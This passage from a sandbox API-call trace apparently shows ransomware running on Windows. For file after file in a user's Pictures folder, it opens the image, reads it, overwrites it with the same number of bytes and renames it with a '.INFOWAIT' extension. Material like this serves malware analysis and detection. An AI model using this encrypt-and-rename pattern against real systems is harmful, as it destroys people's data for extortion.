_on\\QaUjhe\\8q988doXb.png.INFOWAIT" [0120.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\8q988doxb.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\8q988doxb.png.infowait")) returned 1 [0120.943] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.944] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.945] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\b-ltuwzlpvsp7x8c.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.945] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1011c [0120.945] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.945] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.945] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1011c, lpOverlapped=0x0) returned 1 [0120.950] VirtualAlloc (lpAddress=0x0, dwSize=0x1011c, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.956] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.956] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1011c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1011c, lpOverlapped=0x0) returned 1 [0120.957] CloseHandle (hObject=0xad4) returned 1 [0120.959] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif" [0120.959] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif.INFOWAIT" [0120.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\b-ltuwzlpvsp7x8c.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\B-lTUwZlpVSP7x8c.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\b-ltuwzlpvsp7x8c.gif.infowait")) returned 1 [0120.960] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.961] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.962] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\2qixdoa8v yutwh7q.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.962] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x956e [0120.962] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.962] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.962] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x956e, lpOverlapped=0x0) returned 1 [0120.966] VirtualAlloc (lpAddress=0x0, dwSize=0x956e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.970] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.970] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x956e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x956e, lpOverlapped=0x0) returned 1 [0120.970] CloseHandle (hObject=0xad4) returned 1 [0120.974] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp" [0120.975] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp.INFOWAIT" [0120.975] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\2qixdoa8v yutwh7q.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\2QiXDoa8V yuTWH7Q.bmp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\2qixdoa8v yutwh7q.bmp.infowait")) returned 1 [0120.975] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.977] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.977] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\4haf6spbyw_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.977] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6aac [0120.977] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.978] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.978] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x6aac, lpOverlapped=0x0) returned 1 [0120.980] VirtualAlloc (lpAddress=0x0, dwSize=0x6aac, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.983] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.983] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x6aac, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x6aac, lpOverlapped=0x0) returned 1 [0120.983] CloseHandle (hObject=0xad4) returned 1 [0120.986] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif" [0120.986] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif.INFOWAIT" [0120.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\4haf6spbyw_.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\4haF6sPbyW_.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\4haf6spbyw_.gif.infowait")) returned 1 [0120.987] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.988] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.988] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\8b9caryyr-k5_6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.990] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f1d [0120.990] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.990] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.990] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f1d, lpOverlapped=0x0) returned 1 [0120.993] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1d, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.994] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.994] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f1d, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f1d, lpOverlapped=0x0) returned 1 [0120.995] CloseHandle (hObject=0xad0) returned 1 [0121.002] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg" [0121.002] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg.INFOWAIT" [0121.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\8b9caryyr-k5_6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\8B9CArYYR-k5_6.jpg.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\8b9caryyr-k5_6.jpg.infowait")) returned 1 [0121.003] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.005] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.005] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\k-ddyba4e9vkh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.005] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7d15 [0121.005] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.005] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.006] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7d15, lpOverlapped=0x0) returned 1 [0121.009] VirtualAlloc (lpAddress=0x0, dwSize=0x7d15, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.012] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.012] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7d15, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7d15, lpOverlapped=0x0) returned 1 [0121.012] CloseHandle (hObject=0xad0) returned 1 [0121.015] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png" [0121.015] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png.INFOWAIT" [0121.015] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\k-ddyba4e9vkh.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\k-DDYba4e9vKH.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\k-ddyba4e9vkh.png.infowait")) returned 1 [0121.016] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.017] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.018] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\ni-jxuymmkeou4zi2aiu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.018] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d35 [0121.018] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.018] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.018] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1d35, lpOverlapped=0x0) returned 1 [0121.021] VirtualAlloc (lpAddress=0x0, dwSize=0x1d35, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.022] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.023] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1d35, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1d35, lpOverlapped=0x0) returned 1 [0121.023] CloseHandle (hObject=0xad0) returned 1 [0121.025] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png" [0121.025] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png.INFOWAIT" [0121.025] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\ni-jxuymmkeou4zi2aiu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\rGw15KQUy_H3LYwN5\\ni-jXUyMmKeOU4Zi2aIU.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\rgw15kquy_h3lywn5\\ni-jxuymmkeou4zi2aiu.png.infowait")) returned 1 [0121.026] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.027] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.027] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\ubh3kx_a\\rtyiqoqrrvq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.028] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x548c [0121.028] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.028] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.028] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x548c, lpOverlapped=0x0) returned 1 [0121.032] VirtualAlloc (lpAddress=0x0, dwSize=0x548c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.034] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.034] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x548c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x548c, lpOverlapped=0x0) returned 1 [0121.034] CloseHandle (hObject=0xad0) returned 1 [0121.035] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp" [0121.035] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp", 